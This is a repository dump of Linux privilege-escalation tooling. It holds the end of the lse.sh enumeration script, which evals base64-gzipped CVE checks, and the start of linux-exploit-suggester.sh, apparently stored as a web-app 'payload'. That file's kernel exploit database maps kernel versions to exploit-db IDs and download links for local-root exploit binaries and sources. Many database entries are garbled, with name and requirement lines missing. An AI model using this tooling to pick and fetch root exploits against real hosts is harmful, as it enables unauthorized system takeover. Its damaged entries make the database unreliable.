"$lse_procmon_data"'\ 1450 | "" \ 1451 | "lse_procs" 1452 | 1453 | #look for the paths of the process binaries 1454 | lse_test "pro001" "2" \ 1455 | "Retrieving process binaries" \ 1456 | 'printf "%s" "$lse_procs" | cut -d" " -f5 | sort -u | xargs -r which' \ 1457 | "pro000" \ 1458 | 'lse_proc_bin' 1459 | 1460 | #look for the users running the 1461 | lse_test "pro002" "2" \ 1462 | "Retrieving process users" \ 1463 | 'printf "%s" "$lse_procs" | cut -d" " -f4 | sort -u' \ 1464 | "pro000" \ 1465 | 'lse_proc_users' 1466 | 1467 | #check if we have write permissions in any process binary 1468 | lse_test "pro010" "0" \ 1469 | "Can we write in any process binary?" \ 1470 | 'for b in $lse_proc_bin; do [ -w "$b" ] && echo $b; done'\ 1471 | "pro001" 1472 | 1473 | #list processes running as root 1474 | lse_test "pro020" "1" \ 1475 | "Processes running with root permissions" \ 1476 | 'printf "%s" "$lse_procs" | grep -E "^[^ ]+ [^ ]+ [^ ]+ root" | lse_proc_print' \ 1477 | "pro000" 1478 | 1479 | #list processes running as users with shell 1480 | lse_test "pro030" "1" \ 1481 | "Processes running by non-root users with shell" \ 1482 | 'for user in `printf "%s\n" "$lse_shell_users" | cut -d: -f1 | grep -v root`; do printf "%s" "$lse_proc_users" | grep -qE "(^| )$user( |\$)" && printf "\n\n------ $user ------\n\n\n" && printf "%s" "$lse_procs" | grep -E "^[^ ]+ [^ ]+ [^ ]+ $user" | lse_proc_print; done' \ 1483 | "usr030 pro000 pro002" 1484 | 1485 | #running processes 1486 | lse_test "pro500" "2" \ 1487 | "Running processes" \ 1488 | 'printf "%s\n" "$lse_procs" | lse_proc_print' \ 1489 | "pro000" 1490 | 1491 | #list running process binaries and their permissions 1492 | lse_test "pro510" "2" \ 1493 | "Running process binaries and permissions" \ 1494 | 'printf "%s\n" "$lse_proc_bin" | xargs ls -l' \ 1495 | "pro001" 1496 | } 1497 | #) 1498 | 1499 | #########################################################################( CVEs 1500 | lse_run_tests_cves() { 1501 | lse_header "cve" "CVEs" 1502 | if [ "${#lse_cve_list}" = 1 ]; then 1503 | if [ -z "$lse_selection" ] || printf "%s" "$lse_selection" | grep -iq 'cve'; then 1504 | printf "%s\n%s\n%s" \ 1505 | " In order to test for CVEs, download lse.sh from the GitHub releases page." \ 1506 | " Alternatively, build lse_cve.sh using tools/package_cvs_into_lse.sh from the" \ 1507 | " repository." 1508 | fi 1509 | else 1510 | for lse_cve in $lse_cve_list; do 1511 | eval "$(printf '%s' "$lse_cve" | base64 -d | gunzip -c)" 1512 | 1513 | lse_test "$lse_cve_id" "$lse_cve_level" \ 1514 | "$lse_cve_description" \ 1515 | "lse_cve_test" 1516 | done 1517 | fi 1518 | } 1519 | #) 1520 | # 1521 | ##) 1522 | 1523 | #( Main 1524 | main() { 1525 | while getopts "hcCil:e:p:s:S" option; do 1526 | case "${option}" in 1527 | c) lse_color=false; lse_grep_opts='--color=never';; 1528 | C) lse_alt_color=true;; 1529 | e) lse_exclude_paths "${OPTARG}";; 1530 | i) lse_interactive=false;; 1531 | l) lse_set_level "${OPTARG}";; 1532 | s) lse_selection="`printf \"%s\" \"${OPTARG}\"|sed 's/,/ /g'`";; 1533 | p) lse_proc_time="${OPTARG}";; 1534 | S) lse_serve; exit $?;; 1535 | h) lse_help; exit 0;; 1536 | *) lse_help; exit 1;; 1537 | esac 1538 | done 1539 | 1540 | #trap to exec on SIGINT 1541 | trap "lse_exit 1" 2 1542 | 1543 | # use alternative color scheme 1544 | $lse_alt_color && lse_recolor 1545 | 1546 | lse_request_information 1547 | lse_show_info 1548 | PATH="$PATH:/sbin:/usr/sbin" #fix path just in case 1549 | lse_distro_codename=`lse_get_distro_codename` 1550 | 1551 | lse_procmon & 1552 | (sleep "$lse_proc_time"; rm -f "$lse_procmon_lock") & 1553 | 1554 | ## NO WAR 1555 | lse_header "nowar" "humanity" 1556 | lse_test "nowar0" "0" \ 1557 | 'Should we question autocrats and their "military operations"?' \ 1558 | 'cecho " $black$b_blue NO $reset\n $black$b_yellow WAR $reset"' 1559 | 1560 | lse_run_tests_users 1561 | lse_run_tests_sudo 1562 | lse_run_tests_filesystem 1563 | lse_run_tests_system 1564 | lse_run_tests_security 1565 | lse_run_tests_recurrent_tasks 1566 | lse_run_tests_network 1567 | lse_run_tests_services 1568 | lse_run_tests_software 1569 | lse_run_tests_containers 1570 | lse_run_tests_processes 1571 | lse_run_tests_cves 1572 | 1573 | lse_exit 0 1574 | } 1575 | 1576 | [ ! "$lse_NO_EXEC" ] && main "$@" 1577 | #) 1578 | -------------------------------------------------------------------------------- /web_app/payloads/linux-exploit-suggester.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # Copyright (c) 2016-2023, https://github.com/mzet- 5 | # 6 | # linux-exploit-suggester.sh comes with ABSOLUTELY NO WARRANTY. 7 | # This is free software, and you are welcome to redistribute it 8 | # under the terms of the GNU General Public License. See LICENSE 9 | # file for usage of this software. 10 | # 11 | 12 | VERSION=v1.1 13 | 14 | # bash colors 15 | #txtred="\e[0;31m" 16 | txtred="\e[91;1m" 17 | txtgrn="\e[1;32m" 18 | txtgray="\e[0;37m" 19 | txtblu="\e[0;36m" 20 | txtrst="\e[0m" 21 | bldwht='\e[1;37m' 22 | wht='\e[0;36m' 23 | bldblu='\e[1;34m' 24 | yellow='\e[1;93m' 25 | lightyellow='\e[0;93m' 26 | 27 | # input data 28 | UNAME_A="" 29 | 30 | # parsed data for current OS 31 | KERNEL="" 32 | OS="" 33 | DISTRO="" 34 | ARCH="" 35 | PKG_LIST="" 36 | 37 | # kernel config 38 | KCONFIG="" 39 | 40 | CVELIST_FILE="" 41 | 42 | opt_fetch_bins=false 43 | opt_fetch_srcs=false 44 | opt_kernel_version=false 45 | opt_uname_string=false 46 | opt_pkglist_file=false 47 | opt_cvelist_file=false 48 | opt_checksec_mode=false 49 | opt_full=false 50 | opt_summary=false 51 | opt_kernel_only=false 52 | opt_userspace_only=false 53 | opt_show_dos=false 54 | opt_skip_more_checks=false 55 | opt_skip_pkg_versions=false 56 | 57 | ARGS= 58 | SHORTOPTS="hVfbsu:k:dp:g" 59 | LONGOPTS="help,version,full,fetch-binaries,fetch-sources,uname:,kernel:,show-dos,pkglist-file:,short,kernelspace-only,userspace-only,skip-more-checks,skip-pkg-versions,cvelist-file:,checksec" 60 | 61 | ## exploits database 62 | declare -a EXPLOITS 63 | declare -a EXPLOITS_USERSPACE 64 | 65 | ## temporary array for purpose of sorting exploits (based on exploits' rank) 66 | declare -a exploits_to_sort 67 | declare -a SORTED_EXPLOITS 68 | 69 | ############ LINUX KERNELSPACE EXPLOITS #################### 70 | n=0 71 | 72 | EXPLOITS[((n++))]=$(cat <=2.6.5,ver<=2.6.11 97 | Tags: 98 | Rank: 1 99 | exploit-db: 1397 100 | EOF 101 | ) 102 | 103 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.2 106 | Tags: 107 | Rank: 1 108 | exploit-db: 160 109 | EOF 110 | ) 111 | 112 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 115 | Tags: 116 | Rank: 1 117 | exploit-db: 2031 118 | EOF 119 | ) 120 | 121 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 124 | Tags: 125 | Rank: 1 126 | exploit-db: 2004 127 | EOF 128 | ) 129 | 130 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 133 | Tags: 134 | Rank: 1 135 | exploit-db: 2005 136 | EOF 137 | ) 138 | 139 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 142 | Tags: 143 | Rank: 1 144 | exploit-db: 2006 145 | EOF 146 | ) 147 | 148 | EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 151 | Tags: 152 | Rank: 1 153 | exploit-db: 2011 154 | EOF 155 | ) 156 | 157 | EXPLOITS[((n++))]=$(cat <=2.6.8,ver<=2.6.16 160 | Tags: 161 | Rank: 1 162 | bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/h00lyshit 163 | exploit-db: 2013 164 | EOF 165 | ) 166 | 167 | EXPLOITS[((n++))]=$(cat <=2.6.17,ver<=2.6.24 170 | Tags: 171 | Rank: 1 172 | exploit-db: 5092 173 | EOF 174 | ) 175 | 176 | EXPLOITS[((n++))]=$(cat <=2.6.23,ver<=2.6.24 179 | Tags: 180 | Rank: 1 181 | exploit-db: 5093 182 | EOF 183 | ) 184 | 185 | EXPLOITS[((n++))]=$(cat <=2.6.11,ver<=2.6.22 188 | Tags: 189 | Rank: 1 190 | exploit-db: 6851 191 | Comments: world-writable sgid directory and shell that does not drop sgid privs upon exec (ash/sash) are required 192 | EOF 193 | ) 194 | 195 | EXPLOITS[((n++))]=$(cat <=2.6.25,ver<=2.6.29 198 | Tags: 199 | Rank: 1 200 | exploit-db: 8369 201 | EOF 202 | ) 203 | 204 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 207 | Tags: ubuntu=7.10,RHEL=4,fedora=4|5|6|7|8|9|10|11 208 | Rank: 1 209 | exploit-db: 9479 210 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 211 | EOF 212 | ) 213 | 214 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 217 | Tags: ubuntu=9.04 218 | Rank: 1 219 | analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/ 220 | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz 221 | exploit-db: 9435 222 | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed 223 | EOF 224 | ) 225 | 226 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 229 | Tags: 230 | Rank: 1 231 | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz 232 | exploit-db: 9436 233 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 234 | EOF 235 | ) 236 | 237 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 240 | Tags: 241 | Rank: 1 242 | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz 243 | exploit-db: 9641 244 | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed 245 | EOF 246 | ) 247 | 248 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 251 | Tags: ubuntu=8.10,RHEL=4|5 252 | Rank: 1 253 | exploit-db: 9545 254 | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 255 | EOF 256 | ) 257 | 258 | EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19 261 | Tags: debian=4 262 | Rank: 1 263 | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9574.tgz 264 | exploit-db: 9574 265 | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html 266 | author: spender 267 | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed 268 | EOF 269 | ) 270 | 271 | EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86 274 | Tags: debian=4 275 | Rank: 1 276 | exploit-db: 9575 277 | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html 278 | author: andi 279 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 280 | EOF 281 | ) 282 | 283 | EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86 286 | Tags: debian=4 287 | Rank: 1 288 | src-url: https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/raw/master/2009/CVE-2009-2698/katon.c 289 | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html 290 | author: VxHell Labs 291 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 292 | EOF 293 | ) 294 | 295 | EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86 298 | Tags: fedora=4|5|6,RHEL=4 299 | Rank: 1 300 | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html 301 | exploit-db: 9542 302 | author: p0c73n1 303 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 304 | EOF 305 | ) 306 | 307 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 310 | Tags: 311 | Rank: 1 312 | exploit-db: 33321 313 | EOF 314 | ) 315 | 316 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 319 | Tags: 320 | Rank: 1 321 | exploit-db: 33322 322 | EOF 323 | ) 324 | 325 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 328 | Tags: 329 | Rank: 1 330 | exploit-db: 10018 331 | EOF 332 | ) 333 | 334 | EXPLOITS[((n++))]=$(cat <=2.6.26,ver<=2.6.34 337 | Tags: debian=6.0{kernel:2.6.(32|33|34|35)-(1|2|trunk)-amd64},ubuntu=(10.04|10.10){kernel:2.6.(32|35)-(19|21|24)-server} 338 | Rank: 1 339 | bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/kmod2 340 | bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/ptrace-kmod 341 | bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/ptrace_kmod2-64 342 | exploit-db: 15023 343 | EOF 344 | ) 345 | 346 | EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=2.6.34 349 | Tags: ubuntu=9.10 350 | Rank: 1 351 | analysis-url: https://jon.oberheide.org/blog/2010/04/10/reiserfs-reiserfs_priv-vulnerability/ 352 | src-url: https://jon.oberheide.org/files/team-edward.py 353 | exploit-db: 12130 354 | comments: Requires a ReiserFS filesystem mounted with extended attributes 355 | EOF 356 | ) 357 | 358 | EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=2.6.36 361 | Tags: ubuntu=10.04{kernel:2.6.32-24-generic} 362 | Rank: 1 363 | bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/can_bcm 364 | exploit-db: 14814 365 | EOF 366 | ) 367 | 368 | EXPLOITS[((n++))]=$(cat <=2.6.30,ver<2.6.37 371 | Tags: debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-(21|24)-generic} 372 | Rank: 1 373 | analysis-url: http://www.securityfocus.com/archive/1/514379 374 | src-url: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c 375 | bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/rds 376 | bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/rds64 377 | exploit-db: 15285 378 | EOF 379 | ) 380 | 381 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 384 | Tags: ubuntu=(10.04|9.10){kernel:2.6.(31|32)-(14|21)-server} 385 | Rank: 1 386 | bin-url: http://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/half-nelson3 387 | exploit-db: 17787 388 | EOF 389 | ) 390 | 391 | EXPLOITS[((n++))]=$(cat <=2.6.34,ver<=2.6.36,x86 394 | Tags: ubuntu=10.10 395 | Rank: 1 396 | exploit-db: 15916 397 | EOF 398 | ) 399 | 400 | EXPLOITS[((n++))]=$(cat <=2.6.34,ver<=2.6.36 403 | Tags: ubuntu=10.10 404 | Rank: 1 405 | exploit-db: 15944 406 | EOF 407 | ) 408 | 409 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 412 | Tags: 413 | Rank: 1 414 | exploit-db: 15774 415 | EOF 416 | ) 417 | 418 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 421 | Tags: ubuntu=10.04 422 | Rank: 1 423 | exploit-db: 15150 424 | EOF 425 | ) 426 | 427 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.33 430 | Tags: RHEL=5 431 | Rank: 1 432 | exploit-db: 15024 433 | EOF 434 | ) 435 | 436 | EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=3.1.0 439 | Tags: ubuntu=(10.04|11.10){kernel:3.0.0-12-(generic|server)} 440 | Rank: 1 441 | analysis-url: https://git.zx2c4.com/CVE-2012-0056/about/ 442 | src-url: https://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c 443 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/memodipper 444 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/memodipper64 445 | exploit-db: 18411 446 | EOF 447 | ) 448 | 449 | EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 452 | Tags: ubuntu=(9.10|10.10){kernel:2.6.(31|35)-(14|19)-(server|generic)},ubuntu=10.04{kernel:2.6.32-(21|24)-server} 453 | Rank: 1 454 | src-url: http://vulnfactory.org/exploits/full-nelson.c 455 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/full-nelson 456 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/full-nelson64 457 | exploit-db: 15704 458 | EOF 459 | ) 460 | 461 | EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9,x86_64 477 | Tags: RHEL=6,ubuntu=12.04{kernel:3.2.0-(23|29)-generic},fedora=16{kernel:3.1.0-7.fc16.x86_64},fedora=17{kernel:3.3.4-5.fc17.x86_64},debian=7{kernel:3.2.0-4-amd64} 478 | Rank: 1 479 | analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ 480 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/perf_swevent 481 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/perf_swevent64 482 | exploit-db: 26131 483 | author: Andrea 'sorbo' Bittau 484 | Comments: No SMEP/SMAP bypass 485 | EOF 486 | ) 487 | 488 | EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9,x86_64 491 | Tags: ubuntu=12.04{kernel:3.(2|5).0-(23|29)-generic} 492 | Rank: 1 493 | analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ 494 | src-url: https://cyseclabs.com/exploits/vnik_v1.c 495 | exploit-db: 33589 496 | author: Vitaly 'vnik' Nikolenko 497 | Comments: No SMEP/SMAP bypass 498 | EOF 499 | ) 500 | 501 | EXPLOITS[((n++))]=$(cat <=2.6.18,ver<3.7.6 504 | Tags: 505 | Rank: 1 506 | exploit-db: 27297 507 | EOF 508 | ) 509 | 510 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<3.8.9 513 | Tags: 514 | Rank: 1 515 | analysis-url: http://www.openwall.com/lists/oss-security/2013/04/29/1 516 | exploit-db: 25450 517 | EOF 518 | ) 519 | 520 | EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9 523 | Tags: RHEL=6 524 | Rank: 1 525 | analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ 526 | exploit-db: 25444 527 | EOF 528 | ) 529 | 530 | EXPLOITS[((n++))]=$(cat <=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y 533 | Tags: ubuntu=13.10 534 | Rank: 1 535 | analysis-url: http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html 536 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/timeoutpwn64 537 | exploit-db: 31346 538 | Comments: CONFIG_X86_X32 needs to be enabled 539 | EOF 540 | ) 541 | 542 | EXPLOITS[((n++))]=$(cat <=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y 545 | Tags: ubuntu=(13.04|13.10){kernel:3.(8|11).0-(12|15|19)-generic} 546 | Rank: 1 547 | analysis-url: http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html 548 | exploit-db: 31347 549 | Comments: CONFIG_X86_X32 needs to be enabled 550 | EOF 551 | ) 552 | 553 | EXPLOITS[((n++))]=$(cat <=2.6.31,ver<=3.14.3 556 | Tags: 557 | Rank: 1 558 | analysis-url: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html 559 | exploit-db: 33516 560 | EOF 561 | ) 562 | 563 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.14 566 | Tags: 567 | Rank: 0 568 | analysis-url: https://cyseclabs.com/page?n=02012016 569 | exploit-db: 32926 570 | EOF 571 | ) 572 | 573 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.13 576 | Tags: ubuntu=12.04 577 | Rank: 1 578 | analysis-url: http://www.openwall.com/lists/oss-security/2014/06/10/4 579 | exploit-db: 33824 580 | EOF 581 | ) 582 | 583 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.8 586 | Tags: ubuntu=12.04 587 | Rank: 1 588 | analysis-url: http://www.openwall.com/lists/oss-security/2014/07/08/16 589 | exploit-db: 34134 590 | EOF 591 | ) 592 | 593 | EXPLOITS[((n++))]=$(cat <=3.2,ver<=3.15.6 596 | Tags: 597 | Rank: 1 598 | analysis-url: https://cyseclabs.com/page?n=01102015 599 | exploit-db: 36267 600 | EOF 601 | ) 602 | 603 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.16.1 606 | Tags: 607 | Rank: 1 608 | exploit-db: 34923 609 | EOF 610 | ) 611 | 612 | EXPLOITS[((n++))]=$(cat <=3.0.1,ver<3.17.5,x86_64 615 | Tags: RHEL<=7,fedora=20 616 | Rank: 1 617 | analysis-url: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/ 618 | src-url: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz 619 | exploit-db: 620 | author: Rafal 'n3rgal' Wojtczuk & Adam 'pi3' Zabrocki 621 | EOF 622 | ) 623 | 624 | EXPLOITS[((n++))]=$(cat <=3.13,ver<4.1.6,x86_64 627 | Tags: 628 | Rank: 1 629 | analysis-url: http://www.openwall.com/lists/oss-security/2015/08/04/8 630 | exploit-db: 37722 631 | EOF 632 | ) 633 | 634 | EXPLOITS[((n++))]=$(cat <=3.13.0,ver<=3.19.0 646 | Tags: ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic},ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic} 647 | Rank: 1 648 | analysis-url: http://seclists.org/oss-sec/2015/q2/717 649 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/ofs_32 650 | bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/ofs_64 651 | exploit-db: 37292 652 | EOF 653 | ) 654 | 655 | EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.3.3 658 | Tags: 659 | Rank: 1 660 | analysis-url: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ 661 | exploit-db: 39230 662 | EOF 663 | ) 664 | 665 | EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.3.3 668 | Tags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic} 669 | Rank: 1 670 | analysis-url: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ 671 | exploit-db: 39166 672 | EOF 673 | ) 674 | 675 | EXPLOITS[((n++))]=$(cat <=3.10,ver<4.4.1 678 | Tags: 679 | Rank: 0 680 | analysis-url: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ 681 | exploit-db: 40003 682 | Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working 683 | EOF 684 | ) 685 | 686 | EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.4.8 689 | Tags: ubuntu=14.04,fedora=22 690 | Rank: 1 691 | analysis-url: https://xairy.github.io/blog/2016/cve-2016-2384 692 | src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c 693 | exploit-db: 41999 694 | Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user 695 | author: Andrey 'xairy' Konovalov 696 | EOF 697 | ) 698 | 699 | EXPLOITS[((n++))]=$(cat <=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules 702 | Tags: ubuntu=16.04{kernel:4.4.0-21-generic} 703 | Rank: 1 704 | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip 705 | Comments: ip_tables.ko needs to be loaded 706 | exploit-db: 40049 707 | author: Vitaly 'vnik' Nikolenko 708 | EOF 709 | ) 710 | 711 | EXPLOITS[((n++))]=$(cat <=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 714 | Tags: ubuntu=16.04{kernel:4.4.0-21-generic} 715 | Rank: 1 716 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 717 | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip 718 | Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 719 | exploit-db: 40759 720 | author: Jann Horn 721 | EOF 722 | ) 723 | 724 | EXPLOITS[((n++))]=$(cat <=2.6.22,ver<=4.8.3 727 | Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04 728 | Rank: 4 729 | analysis-url: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails 730 | Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh 731 | exploit-db: 40611 732 | author: Phil Oester 733 | EOF 734 | ) 735 | 736 | EXPLOITS[((n++))]=$(cat <=2.6.22,ver<=4.8.3 739 | Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic} 740 | Rank: 4 741 | analysis-url: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails 742 | ext-url: https://www.exploit-db.com/download/40847 743 | Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh 744 | exploit-db: 40839 745 | author: FireFart (author of exploit at EDB 40839); Gabriele Bonacini (author of exploit at 'ext-url') 746 | EOF 747 | ) 748 | 749 | EXPLOITS[((n++))]=$(cat <=4.4.0,ver<4.9,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 752 | Tags: ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} 753 | Rank: 1 754 | analysis-url: http://www.openwall.com/lists/oss-security/2016/12/06/1 755 | Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled 756 | bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2016-8655/chocobo_root 757 | exploit-db: 40871 758 | author: rebel 759 | EOF 760 | ) 761 | 762 | EXPLOITS[((n++))]=$(cat <=3.11,ver<4.8.14,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 765 | Tags: 766 | Rank: 1 767 | analysis-url: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793 768 | src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c 769 | Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only 770 | exploit-db: 41995 771 | author: Andrey 'xairy' Konovalov 772 | EOF 773 | ) 774 | 775 | EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=4.9.11,CONFIG_IP_DCCP=[my] 778 | Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic} 779 | Rank: 1 780 | analysis-url: http://www.openwall.com/lists/oss-security/2017/02/22/3 781 | Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass 782 | exploit-db: 41458 783 | author: Andrey 'xairy' Konovalov 784 | EOF 785 | ) 786 | 787 | EXPLOITS[((n++))]=$(cat <=3.2,ver<=4.10.6,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 790 | Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic} 791 | Rank: 1 792 | analysis-url: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html 793 | src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c 794 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c 795 | Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels 796 | 